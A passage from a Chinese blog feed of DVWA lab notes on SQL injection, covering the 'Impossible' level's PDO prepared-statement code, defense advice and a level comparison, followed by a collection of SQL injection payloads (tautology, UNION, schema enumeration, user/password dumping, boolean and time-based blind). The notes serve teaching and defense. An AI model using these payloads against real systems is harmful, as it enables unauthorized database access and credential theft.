class="variable">$_GET</span>[ <span class="string">&#x27;id&#x27;</span> ];</span><br><span class="line"></span><br><span class="line">        <span class="comment">// ★★★ 核心防护：PDO预编译语句 ★★★</span></span><br><span class="line">        <span class="comment">// $db - PDO数据库连接对象</span></span><br><span class="line">        <span class="comment">// prepare() - 准备SQL语句用于执行</span></span><br><span class="line">        <span class="comment">// :id - 命名参数占位符（参数化查询）</span></span><br><span class="line">        <span class="comment">// LIMIT 1 - 限制只返回一行</span></span><br><span class="line">        <span class="comment">//</span></span><br><span class="line">        <span class="comment">// 关键：SQL结构和数据完全分离！</span></span><br><span class="line">        <span class="comment">// 数据库先编译SQL结构，再绑定数据</span></span><br><span class="line">        <span class="comment">// 无论数据内容是什么，都只会被当作数据，不会被当作SQL代码执行</span></span><br><span class="line">        <span class="variable">$data</span> = <span class="variable">$db</span>-&gt;<span class="title function_ invoke__">prepare</span>( <span class="string">&#x27;SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;&#x27;</span> );</span><br><span class="line"></span><br><span class="line">        <span class="comment">// ★★★ 绑定参数 ★★★</span></span><br><span class="line">        <span class="comment">// bindParam() - 将参数绑定到预编译语句</span></span><br><span class="line">        <span class="comment">// 参数1：占位符名称</span></span><br><span class="line">        <span class="comment">// 参数2：要绑定的变量</span></span><br><span class="line">        <span class="comment">// 参数3：数据类型（PDO::PARAM_INT表示整数）</span></span><br><span class="line">        <span class="comment">//</span></span><br><span class="line">        <span class="comment">// 作用：将$id的值绑定到:id占位符</span></span><br><span class="line">        <span class="comment">// 数据类型明确指定为整数，进一步增强安全性</span></span><br><span class="line">        <span class="variable">$data</span>-&gt;<span class="title function_ invoke__">bindParam</span>( <span class="string">&#x27;:id&#x27;</span>, <span class="variable">$id</span>, PDO::<span class="variable constant_">PARAM_INT</span> );</span><br><span class="line"></span><br><span class="line">        <span class="comment">// ★★★ 执行预编译语句 ★★★</span></span><br><span class="line">        <span class="comment">// execute() - 执行准备好的语句</span></span><br><span class="line">        <span class="comment">// 此时才真正执行查询，但数据已经被安全处理</span></span><br><span class="line">        <span class="variable">$data</span>-&gt;<span class="title function_ invoke__">execute</span>();</span><br><span class="line"></span><br><span class="line">        <span class="comment">// ★★★ 获取结果 ★★★</span></span><br><span class="line">        <span class="comment">// fetch() - 获取结果集的下一行</span></span><br><span class="line">        <span class="comment">// 返回关联数组</span></span><br><span class="line">        <span class="variable">$row</span> = <span class="variable">$data</span>-&gt;<span class="title function_ invoke__">fetch</span>();</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 检查是否有结果</span></span><br><span class="line">        <span class="comment">// rowCount() - 返回受影响的行数</span></span><br><span class="line">        <span class="keyword">if</span>( <span class="variable">$data</span>-&gt;<span class="title function_ invoke__">rowCount</span>() == <span class="number">1</span> ) &#123;</span><br><span class="line">            <span class="comment">// 获取值</span></span><br><span class="line">            <span class="comment">// &#123;$row[ &#x27;first_name&#x27; ]&#125; - 输出first_name字段的值</span></span><br><span class="line">            <span class="variable">$first</span> = <span class="variable">$row</span>[ <span class="string">&#x27;first_name&#x27;</span> ];</span><br><span class="line">            <span class="variable">$last</span>  = <span class="variable">$row</span>[ <span class="string">&#x27;last_name&#x27;</span> ];</span><br><span class="line"></span><br><span class="line">            <span class="comment">// 输出结果</span></span><br><span class="line">            <span class="variable">$html</span> .= <span class="string">&quot;&lt;pre&gt;ID: <span class="subst">&#123;$id&#125;</span>&lt;br /&gt;First name: <span class="subst">&#123;$first&#125;</span>&lt;br /&gt;Surname: <span class="subst">&#123;$last&#125;</span>&lt;/pre&gt;&quot;</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">else</span> &#123;</span><br><span class="line">            <span class="comment">// 未找到用户</span></span><br><span class="line">            <span class="variable">$html</span> .= <span class="string">&#x27;&lt;pre&gt;User ID is MISSING from the database.&lt;/pre&gt;&#x27;</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span> &#123;</span><br><span class="line">        <span class="comment">// ★★★ 输入不是数字，拒绝 ★★★</span></span><br><span class="line">        <span class="comment">// 明确的错误信息</span></span><br><span class="line">        <span class="variable">$html</span> .= <span class="string">&#x27;&lt;pre&gt;User ID must be numeric&lt;/pre&gt;&#x27;</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><h3 id="完善的防护机制"><a href="#完善的防护机制" class="headerlink" title="完善的防护机制"></a>完善的防护机制</h3><ol><li><strong>输入验证</strong> - <code>is_numeric()</code>只接受数字</li><li><strong>PDO预编译</strong> - SQL结构和数据完全分离</li><li><strong>参数绑定</strong> - 数据类型明确指定</li><li><strong>限制结果</strong> - <code>LIMIT 1</code>限制返回行数</li></ol><h3 id="PDO预编译原理"><a href="#PDO预编译原理" class="headerlink" title="PDO预编译原理"></a>PDO预编译原理</h3><p><strong>传统拼接（不安全）：</strong></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 危险方式</span></span><br><span class="line"><span class="variable">$query</span> = <span class="string">&quot;SELECT * FROM users WHERE id = &#x27;<span class="subst">$id</span>&#x27;&quot;</span>;</span><br><span class="line"><span class="comment">// 如果$id = &quot;1&#x27; OR &#x27;1&#x27;=&#x27;1&quot;</span></span><br><span class="line"><span class="comment">// 结果：SELECT * FROM users WHERE id = &#x27;1&#x27; OR &#x27;1&#x27;=&#x27;1&#x27;</span></span><br><span class="line"><span class="comment">// 注入成功！</span></span><br></pre></td></tr></table></figure><p><strong>PDO预编译（安全）：</strong></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 安全方式</span></span><br><span class="line"><span class="variable">$stmt</span> = <span class="variable">$db</span>-&gt;<span class="title function_ invoke__">prepare</span>(<span class="string">&#x27;SELECT * FROM users WHERE id = :id&#x27;</span>);</span><br><span class="line"><span class="variable">$stmt</span>-&gt;<span class="title function_ invoke__">bindParam</span>(<span class="string">&#x27;:id&#x27;</span>, <span class="variable">$id</span>, PDO::<span class="variable constant_">PARAM_INT</span>);</span><br><span class="line"><span class="variable">$stmt</span>-&gt;<span class="title function_ invoke__">execute</span>();</span><br><span class="line"></span><br><span class="line"><span class="comment">// 执行过程：</span></span><br><span class="line"><span class="comment">// 1. 数据库先编译SQL结构：&quot;SELECT * FROM users WHERE id = ?&quot;</span></span><br><span class="line"><span class="comment">// 2. 然后绑定数据：id = &quot;1&#x27; OR &#x27;1&#x27;=&#x27;1&quot;</span></span><br><span class="line"><span class="comment">// 3. 数据被当作字符串整体，不会被解析为SQL代码</span></span><br><span class="line"><span class="comment">// 4. 实际执行：SELECT * FROM users WHERE id = &#x27;1\&#x27; OR \&#x27;1\&#x27;=\&#x27;1\&#x27;&#x27;</span></span><br><span class="line"><span class="comment">// 5. 查找id为整个字符串的记录（不存在），注入失败！</span></span><br></pre></td></tr></table></figure><p><strong>为什么预编译安全？</strong></p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">传统方式：</span><br><span class="line">  用户输入 → 拼接到<span class="keyword">SQL</span> → 作为代码执行 ✗</span><br><span class="line"></span><br><span class="line">预编译方式：</span><br><span class="line">  <span class="keyword">SQL</span>结构 → 先编译</span><br><span class="line">  用户输入 → 只作为数据绑定 → 不会被当作代码 ✓</span><br></pre></td></tr></table></figure><h3 id="为什么无法攻破？"><a href="#为什么无法攻破？" class="headerlink" title="为什么无法攻破？"></a>为什么无法攻破？</h3><p><strong>多层防御：</strong></p><ol><li><p><strong>is_numeric()验证</strong></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">输入：<span class="number">1</span><span class="string">&#x27; OR &#x27;</span><span class="number">1</span><span class="string">&#x27;=&#x27;</span><span class="number">1</span></span><br><span class="line"><span class="title function_ invoke__">is_numeric</span>(<span class="string">&quot;1&#x27; OR &#x27;1&#x27;=&#x27;1&quot;</span>) = <span class="literal">false</span></span><br><span class="line">拒绝！</span><br></pre></td></tr></table></figure></li><li><p><strong>PDO预编译</strong></p><figure class="highlight ceylon"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">即使绕过<span class="keyword">is</span><span class="number">_n</span>umeric，PDO也会将输入当作数据</span><br><span class="line">不会被执行为SQL代码</span><br></pre></td></tr></table></figure></li><li><p><strong>参数类型</strong></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">PDO::<span class="variable constant_">PARAM_INT</span> - 强制转换为整数</span><br><span class="line"><span class="string">&quot;1&#x27; OR &#x27;1&#x27;=&#x27;1&quot;</span> → <span class="number">1</span></span><br></pre></td></tr></table></figure></li></ol><p><strong>攻击尝试全部失败：</strong></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 尝试1：字符串注入</span></span><br><span class="line">输入：<span class="number">1</span><span class="string">&#x27; OR &#x27;</span><span class="number">1</span><span class="string">&#x27;=&#x27;</span><span class="number">1</span></span><br><span class="line"><span class="title function_ invoke__">is_numeric</span>() → <span class="literal">false</span> → 拒绝</span><br><span class="line"></span><br><span class="line"><span class="comment">// 尝试2：纯数字UNION</span></span><br><span class="line">输入：<span class="number">1</span> UNION SELECT ...</span><br><span class="line"><span class="title function_ invoke__">is_numeric</span>(<span class="string">&quot;1 UNION SELECT ...&quot;</span>) → <span class="literal">false</span> → 拒绝</span><br><span class="line"></span><br><span class="line"><span class="comment">// 尝试3：只输入数字</span></span><br><span class="line">输入：<span class="number">1</span></span><br><span class="line"><span class="title function_ invoke__">is_numeric</span>(<span class="string">&quot;1&quot;</span>) → <span class="literal">true</span> → 通过</span><br><span class="line">但PDO预编译会将其安全处理</span><br><span class="line">只会查询id=<span class="number">1</span>的记录，无法注入</span><br></pre></td></tr></table></figure><hr><h2 id="防御建议"><a href="#防御建议" class="headerlink" title="防御建议"></a>防御建议</h2><h3 id="代码层面"><a href="#代码层面" class="headerlink" title="代码层面"></a>代码层面</h3><h4 id="1-使用PDO预编译（强烈推荐）"><a href="#1-使用PDO预编译（强烈推荐）" class="headerlink" title="1. 使用PDO预编译（强烈推荐）"></a>1. 使用PDO预编译（强烈推荐）</h4><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 正确的做法</span></span><br><span class="line"><span class="variable">$stmt</span> = <span class="variable">$pdo</span>-&gt;<span class="title function_ invoke__">prepare</span>(<span class="string">&#x27;SELECT * FROM users WHERE id = :id AND name = :name&#x27;</span>);</span><br><span class="line"><span class="variable">$stmt</span>-&gt;<span class="title function_ invoke__">execute</span>([<span class="string">&#x27;id&#x27;</span> =&gt; <span class="variable">$id</span>, <span class="string">&#x27;name&#x27;</span> =&gt; <span class="variable">$name</span>]);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 或使用bindParam</span></span><br><span class="line"><span class="variable">$stmt</span> = <span class="variable">$pdo</span>-&gt;<span class="title function_ invoke__">prepare</span>(<span class="string">&#x27;SELECT * FROM users WHERE id = ?&#x27;</span>);</span><br><span class="line"><span class="variable">$stmt</span>-&gt;<span class="title function_ invoke__">bindParam</span>(<span class="number">1</span>, <span class="variable">$id</span>, PDO::<span class="variable constant_">PARAM_INT</span>);</span><br><span class="line"><span class="variable">$stmt</span>-&gt;<span class="title function_ invoke__">execute</span>();</span><br></pre></td></tr></table></figure><h4 id="2-使用mysqli预编译"><a href="#2-使用mysqli预编译" class="headerlink" title="2. 使用mysqli预编译"></a>2. 使用mysqli预编译</h4><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// mysqli预编译</span></span><br><span class="line"><span class="variable">$stmt</span> = <span class="variable">$mysqli</span>-&gt;<span class="title function_ invoke__">prepare</span>(<span class="string">&quot;SELECT * FROM users WHERE id = ?&quot;</span>);</span><br><span class="line"><span class="variable">$stmt</span>-&gt;<span class="title function_ invoke__">bind_param</span>(<span class="string">&quot;i&quot;</span>, <span class="variable">$id</span>); <span class="comment">// i = integer</span></span><br><span class="line"><span class="variable">$stmt</span>-&gt;<span class="title function_ invoke__">execute</span>();</span><br><span class="line"><span class="variable">$result</span> = <span class="variable">$stmt</span>-&gt;<span class="title function_ invoke__">get_result</span>();</span><br></pre></td></tr></table></figure><p><strong>参数类型：</strong></p><ul><li><code>i</code> - integer（整数）</li><li><code>d</code> - double（浮点数）</li><li><code>s</code> - string（字符串）</li><li><code>b</code> - blob（二进制数据）</li></ul><h4 id="3-输入验证"><a href="#3-输入验证" class="headerlink" title="3. 输入验证"></a>3. 输入验证</h4><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 验证ID是否为数字</span></span><br><span class="line"><span class="keyword">if</span> (!<span class="title function_ invoke__">is_numeric</span>(<span class="variable">$id</span>)) &#123;</span><br><span class="line">    <span class="keyword">die</span>(<span class="string">&quot;Invalid ID&quot;</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 验证邮箱格式</span></span><br><span class="line"><span class="keyword">if</span> (!<span class="title function_ invoke__">filter_var</span>(<span class="variable">$email</span>, FILTER_VALIDATE_EMAIL)) &#123;</span><br><span class="line">    <span class="keyword">die</span>(<span class="string">&quot;Invalid email&quot;</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 使用正则表达式</span></span><br><span class="line"><span class="keyword">if</span> (!<span class="title function_ invoke__">preg_match</span>(<span class="string">&#x27;/^[a-zA-Z0-9]+$/&#x27;</span>, <span class="variable">$username</span>)) &#123;</span><br><span class="line">    <span class="keyword">die</span>(<span class="string">&quot;Invalid username&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="4-白名单验证"><a href="#4-白名单验证" class="headerlink" title="4. 白名单验证"></a>4. 白名单验证</h4><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 只允许特定值</span></span><br><span class="line"><span class="variable">$allowed_columns</span> = [<span class="string">&#x27;id&#x27;</span>, <span class="string">&#x27;name&#x27;</span>, <span class="string">&#x27;email&#x27;</span>];</span><br><span class="line"><span class="keyword">if</span> (!<span class="title function_ invoke__">in_array</span>(<span class="variable">$sort_by</span>, <span class="variable">$allowed_columns</span>)) &#123;</span><br><span class="line">    <span class="variable">$sort_by</span> = <span class="string">&#x27;id&#x27;</span>; <span class="comment">// 默认值</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="variable">$query</span> = <span class="string">&quot;SELECT * FROM users ORDER BY <span class="subst">&#123;$sort_by&#125;</span>&quot;</span>;</span><br></pre></td></tr></table></figure><h4 id="5-最小权限原则"><a href="#5-最小权限原则" class="headerlink" title="5. 最小权限原则"></a>5. 最小权限原则</h4><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">-- 为Web应用创建专用数据库用户</span></span><br><span class="line"><span class="keyword">CREATE</span> <span class="keyword">USER</span> <span class="string">&#x27;webapp&#x27;</span>@<span class="string">&#x27;localhost&#x27;</span> IDENTIFIED <span class="keyword">BY</span> <span class="string">&#x27;strong_password&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 只授予必要的权限</span></span><br><span class="line"><span class="keyword">GRANT</span> <span class="keyword">SELECT</span>, <span class="keyword">INSERT</span>, <span class="keyword">UPDATE</span> <span class="keyword">ON</span> mydb.<span class="operator">*</span> <span class="keyword">TO</span> <span class="string">&#x27;webapp&#x27;</span>@<span class="string">&#x27;localhost&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 不要授予</span></span><br><span class="line"><span class="comment">-- DROP, DELETE（除非必要）</span></span><br><span class="line"><span class="comment">-- FILE, SUPER, PROCESS（危险权限）</span></span><br></pre></td></tr></table></figure><h3 id="架构层面"><a href="#架构层面" class="headerlink" title="架构层面"></a>架构层面</h3><ol><li><p><strong>WAF（Web应用防火墙）</strong></p><ul><li>ModSecurity</li><li>Cloudflare WAF</li><li>AWS WAF</li></ul></li><li><p><strong>输入输出分离</strong></p><ul><li>ORM框架（Eloquent, Doctrine）</li><li>查询构建器（Query Builder）</li></ul></li><li><p><strong>错误处理</strong></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 不要显示详细错误</span></span><br><span class="line"><span class="comment">// mysqli_query($query) or die(mysql_error()); ✗</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 记录错误，显示通用消息</span></span><br><span class="line"><span class="keyword">if</span> (!<span class="title function_ invoke__">mysqli_query</span>(<span class="variable">$query</span>)) &#123;</span><br><span class="line">    <span class="title function_ invoke__">error_log</span>(<span class="title function_ invoke__">mysqli_error</span>(<span class="variable">$conn</span>));</span><br><span class="line">    <span class="keyword">die</span>(<span class="string">&quot;An error occurred&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></li></ol><h3 id="检测工具"><a href="#检测工具" class="headerlink" title="检测工具"></a>检测工具</h3><ol><li><strong>SQLMap</strong> - 自动化SQL注入检测</li><li><strong>Burp Suite Scanner</strong> - 漏洞扫描</li><li><strong>OWASP ZAP</strong> - 免费安全扫描工具</li></ol><hr><h2 id="总结对比"><a href="#总结对比" class="headerlink" title="总结对比"></a>总结对比</h2><table><thead><tr><th>特性</th><th>Low</th><th>Medium</th><th>High</th><th>Impossible</th></tr></thead><tbody><tr><td>输入过滤</td><td>❌</td><td>mysqli_escape</td><td>mysqli_escape + stripslashes</td><td>is_numeric()</td></tr><tr><td>SQL类型</td><td>字符串拼接</td><td>字符串拼接（无引号）</td><td>字符串拼接</td><td>PDO预编译</td></tr><tr><td>引号保护</td><td>✅ 有引号</td><td>❌ 无引号</td><td>✅ 有引号</td><td>N&#x2F;A</td></tr><tr><td>SESSION</td><td>❌</td><td>❌</td><td>✅</td><td>❌</td></tr><tr><td>攻击方式</td><td>字符串注入</td><td>数字注入</td><td>字符串注入</td><td>无法注入</td></tr><tr><td>攻击难度</td><td>极易</td><td>简单</td><td>中等</td><td>几乎不可能</td></tr><tr><td>典型Payload</td><td><code>1&#39; OR &#39;1&#39;=&#39;1</code></td><td><code>1 OR 1=1</code></td><td><code>1&#39; OR &#39;1&#39;=&#39;1</code></td><td>无效</td></tr></tbody></table><hr><h2 id="常用SQL注入Payload集合"><a href="#常用SQL注入Payload集合" class="headerlink" title="常用SQL注入Payload集合"></a>常用SQL注入Payload集合</h2><h3 id="基础测试"><a href="#基础测试" class="headerlink" title="基础测试"></a>基础测试</h3><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">-- 单引号测试</span></span><br><span class="line"><span class="string">&#x27;</span></span><br><span class="line"><span class="string">&quot;</span></span><br><span class="line"><span class="string">\</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">-- 逻辑测试</span></span><br><span class="line"><span class="string">1&#x27;</span> <span class="keyword">OR</span> <span class="string">&#x27;1&#x27;</span><span class="operator">=</span><span class="string">&#x27;1</span></span><br><span class="line"><span class="string">1&#x27;</span> <span class="keyword">OR</span> <span class="string">&#x27;1&#x27;</span><span class="operator">=</span><span class="string">&#x27;1&#x27;</span> <span class="comment">--</span></span><br><span class="line"><span class="number">1</span><span class="string">&#x27; OR &#x27;</span><span class="number">1</span><span class="string">&#x27;=&#x27;</span><span class="number">1</span><span class="string">&#x27; #</span></span><br><span class="line"><span class="string">1&#x27;</span> <span class="keyword">OR</span> <span class="string">&#x27;1&#x27;</span><span class="operator">=</span><span class="string">&#x27;1&#x27;</span><span class="comment">/*</span></span><br><span class="line"><span class="comment"></span></span><br><span class="line"><span class="comment">-- 数字注入</span></span><br><span class="line"><span class="comment">1 OR 1=1</span></span><br><span class="line"><span class="comment">1 AND 1=1</span></span><br><span class="line"><span class="comment">1 AND 1=2</span></span><br></pre></td></tr></table></figure><h3 id="UNION注入"><a href="#UNION注入" class="headerlink" title="UNION注入"></a>UNION注入</h3><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">-- 判断列数</span></span><br><span class="line"><span class="number">1</span><span class="string">&#x27; ORDER BY 1 --</span></span><br><span class="line"><span class="string">1&#x27;</span> <span class="keyword">ORDER</span> <span class="keyword">BY</span> <span class="number">2</span> <span class="comment">--</span></span><br><span class="line"><span class="number">1</span><span class="string">&#x27; ORDER BY 3 --</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">-- UNION SELECT</span></span><br><span class="line"><span class="string">1&#x27;</span> <span class="keyword">UNION</span> <span class="keyword">SELECT</span> <span class="keyword">NULL</span>, <span class="keyword">NULL</span> <span class="comment">--</span></span><br><span class="line"><span class="number">1</span><span class="string">&#x27; UNION SELECT 1, 2 --</span></span><br><span class="line"><span class="string">1&#x27;</span> <span class="keyword">UNION</span> <span class="keyword">SELECT</span> <span class="string">&#x27;test&#x27;</span>, <span class="string">&#x27;test2&#x27;</span> <span class="comment">--</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- 获取信息</span></span><br><span class="line"><span class="number">1</span><span class="string">&#x27; UNION SELECT @@version, database() --</span></span><br><span class="line"><span class="string">1&#x27;</span> <span class="keyword">UNION</span> <span class="keyword">SELECT</span> <span class="keyword">user</span>(), <span class="built_in">current_user</span>() <span class="comment">--</span></span><br></pre></td></tr></table></figure><h3 id="信息收集"><a href="#信息收集" class="headerlink" title="信息收集"></a>信息收集</h3><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">-- 数据库</span></span><br><span class="line"><span class="number">1</span><span class="string">&#x27; UNION SELECT schema_name, NULL FROM information_schema.schemata --</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">-- 表</span></span><br><span class="line"><span class="string">1&#x27;</span> <span class="keyword">UNION</span> <span class="keyword">SELECT</span> table_name, <span class="keyword">NULL</span> <span class="keyword">FROM</span> information_schema.tables <span class="keyword">WHERE</span> table_schema<span class="operator">=</span><span class="string">&#x27;dvwa&#x27;</span> <span class="comment">--</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- 列</span></span><br><span class="line"><span class="number">1</span><span class="string">&#x27; UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name=&#x27;</span>users<span class="string">&#x27; --</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">-- 数据</span></span><br><span class="line"><span class="string">1&#x27;</span> <span class="keyword">UNION</span> <span class="keyword">SELECT</span> <span class="keyword">user</span>, password <span class="keyword">FROM</span> users <span class="comment">--</span></span><br><span class="line"><span class="number">1</span><span class="string">&#x27; UNION SELECT GROUP_CONCAT(user,&#x27;</span>:<span class="string">&#x27;,password), NULL FROM users --</span></span><br></pre></td></tr></table></figure><h3 id="盲注"><a href="#盲注" class="headerlink" title="盲注"></a>盲注</h3><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">-- 基于布尔的盲注</span></span><br><span class="line"><span class="number">1</span><span class="string">&#x27; AND SUBSTRING(database(),1,1)=&#x27;</span>d<span class="string">&#x27; --</span></span><br><span class="line"><span class="string">1&#x27;</span> <span class="keyword">AND</span> ASCII(<span class="built_in">SUBSTRING</span>(database(),<span class="number">1</span>,<span class="number">1</span>))<span class="operator">=</span><span class="number">100</span> <span class="comment">--</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- 基于时间的盲注</span></span><br><span class="line"><span class="number">1</span><span class="string">&#x27; AND SLEEP(5) --</span></span><br><span class="line"><span class="string">1&#x27;</span> <span class="keyword">AND</span> IF(<span class="number">1</span><span class="operator">=</span><span class="number">1</span>, SLEEP(<span class="number">5</span>), <span class="number">0</span>) <span class="comment">--</span></span><br></pre></td></tr></table></figure><hr><h2 id="实战建议"><a href="#实战建议" class="headerlink" title="实战建议"></a>实战建议</h2><p><strong>学习路径：</strong></p><ol><li><strong>Low难度</strong> - 掌握基本注入技巧</li><li><strong>Medium难度</strong> - 理解数字型注入</li><li><strong>High难度</strong> - 学习SESSION利用</li><li><strong>Impossible难度</strong> - 理解PDO防御原理</li></ol><p><strong>工具使用：</strong></p><ul><li>手动测试 → 理解原理</li><li>Burp Suite → 自动化重放</li><li>SQLMap → 高效利用</li></ul><p><strong>道德准则：</strong></p><ul><li>只在授权环境测试</li><li>不攻击真实系统</li><li>学以致用，保护而非破坏</li></ul>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;目录&quot;&gt;&lt;a href=&quot;#目录&quot; class=&quot;headerlink&quot; title=&quot;目录&quot;&gt;&lt;/a&gt;目录&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;#%E6%BC%8F%E6%B4%9E%E7%AE%80%E4%BB%8B&quot;&gt;漏洞简介&lt;/a&gt;&lt;/li&gt;
&lt;l</summary>
      
    
    
    
    <category term="dvwa靶场学习笔记" scheme="http://caixuya.github.io/categories/dvwa%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"/>
    
    
  </entry>
  
  <entry>
    <title>DVWA - SQL Injection (Blind) 攻防练习详解</title>
    <link href="http://caixuya.github.io/2025/11/20/SQL_Injection_Blind_%E6%94%BB%E9%98%B2%E7%BB%83%E4%B9%A0/"/>
    <id>http://caixuya.github.io/2025/11/20/SQL_Injection_Blind_%E6%94%BB%E9%98%B2%E7%BB%83%E4%B9%A0/</id>
    <published>2025-11-20T15:31:37.128Z</published>
    <updated>2025-11-20T15:26:56.863Z</updated>
    
